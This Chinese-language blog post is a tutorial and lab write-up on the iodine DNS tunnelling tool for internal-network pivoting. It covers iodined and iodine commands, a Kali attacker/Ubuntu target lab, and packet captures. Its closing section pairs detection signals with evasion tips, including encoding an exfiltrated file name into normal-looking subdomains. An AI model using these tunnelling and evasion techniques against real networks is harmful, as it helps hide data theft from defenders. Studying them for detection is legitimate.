内网隧道之iodine
前言
本文研究DNS隧道的一个经典工具,iodine
github:https://github.com/yarrick/iodine
一、概述
1、简介
持续更新,C语言编写,官方:http://code.kryo.se/iodine/
IPv4 over DNS,即通过DNS隧道转发IPv4数据包,在编码,请求类型上提供了更丰富的选择
- 客户端为Win10时,环境搭建后,可连接成功,但无法ping通(即不可用!)
- 支持直连和中继两种模式
- 支持常见的DNS解析类型:A、CNAME、MX、TXT等
2、原理
DNS原理见:一文搞明白DNS与域名解析
通过TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP建立一个虚拟网卡;两者通过DNS隧道连接,处于同一局域网(可以通过ping命令通信)。在客户端和服务端之间建立连接后,客户机上会多出一块“dns0”的虚拟网卡。
DNS隧道流程:iodine客户端->DNS服务商->iodined服务端
3、用法
(1)服务端
代码语言:javascript复制iodined -f -c -P <password> 10.0.0.1 vpn.abc.com -DD
-f:在前台运行
-c:禁止检查所有传入请求的客户端IP地址。
-P:客户端和服务端之间用于验证身份的密码。
-D:指定调试级别,-DD指第二级。“D”的数量随级别增加。
这里的10.0.0.1是自定义的局域网虚拟IP地址。
(2)客户端
linux环境:
代码语言:javascript复制iodine -f -P <password> vpn.abc.ltd -M 200
-r:iodine有时会自动将DNS隧道切换为UDP隧道,该参数的作用是强制在任何情况下使用DNS隧道
-M:指定上行主机的大小。
-m:调节最大下行分片的大小。
-T:指定DNS请求类型TYPE,可选项有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。
-O:指定数据编码规范。
-L:指定是否开启懒惰模式,默认开启。
-I:指定两个请求之间的时间间隔。
windows环境:
windows客户端可以直接使用编译好的windows版本,同时需要安装TAP网卡驱动程序。
也可以下载OpenV**,在安装时仅选择TAP-Win32驱动程序,安装后服务器上就会多出一块“TAP-Wndows ADApter V9”的网卡。
运行客户端程序iodine:iodine -f -P <password> vpn.abc.com,如果出现提示“Connection setup complete, transmitting data”,就表示DNS隧道已经建立。
二、实践
1、测试场景
(1)攻击机
Kali2021 192.168.10.128
(2)DNS服务器
windows server 2008 :192.168.10.200
设置静态IP,参见https://blog.csdn.net/pockeyfan/article/details/42063683
新建A记录,指向服务端kali
新建一个委托(即NS记录)指向刚刚设定的A记录的域名
再建一个A记录指向windows server自己
(3)目标机
Ubuntu 18.04 192.168.10.129
由于模拟的是DNS服务器是真正的权威服务器,即目标机应该能DNS解析到DNS服务器,所以要把目标机的DNS解析改下
nslookup检测下
2、建立隧道
(1)服务端
建立隧道前状态
建立隧道
代码语言:javascript复制
代码语言:javascript复制iodined -f -c -P 123456 10.0.0.1 dnstunnel.test.com -DD
代码语言:javascript复制 此时多了一个网卡dns0,ip是我们设置的10.0.0.1
(2)客户端
建立隧道前状态
建立隧道
代码语言:javascript复制iodine -f -r -P 123456 dnstunnel.test.com
代码语言:javascript复制
也是多了个网卡dns0,ip为10.0.0.2
(3)ssh
此时隧道建立成功,在服务端会打印出心跳包
尝试ssh
隧道成功建立,流量可代理 此时,打印出的包如下:
3、抓包看看
建立隧道,域名让人没眼看
虚拟网卡中TCP握手
心跳包,走了一个来回,域名太异常了
虚拟网卡中
ssh时
虚拟网卡中
三、探索
1、源码与分析
TODO
2、检测与绕过
(1)虚拟网卡
本工具会创建个虚拟网卡来处理TCP
没法避免
(2)记录类型
这对本工具问题不大,因为可以支持常见记录类型,上面实验里是没有指定,但可以指定为A就问题不大
(3)异常DNS数据包数量
利用隧道时,会有大量DNS数据包,且来自同一DNS服务器
绕过方法:中间加间隔,但这样就会导致速度非常慢
(4)异常域名
建立隧道和心跳包的域名都太异常了,使用隧道时的域名就更是长base64字符串了
绕过方法:心跳包用正常域名,使用隧道时将base64拆分,不过会大大增加数据包数量
比如现在要把一个文件名 finalexamanswer.doc 传出去
代码语言:javascript复制base64 一下 -> ZmluYWxleGFtYW5zd2VyLmRvYw
然后编码常用域名,变成 Zm -> zone.music.domain,lu -> login.user.domain,YW``yun.web.domain …
(5)心跳包
心跳包的间隔已经比较长了(3s),但是数量是问题
绕过方法:间隔可以随机,数量可以换UDP socket重新建立隧道
结语
类似于icmptunnel,构建虚拟网卡来实现隧道
红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。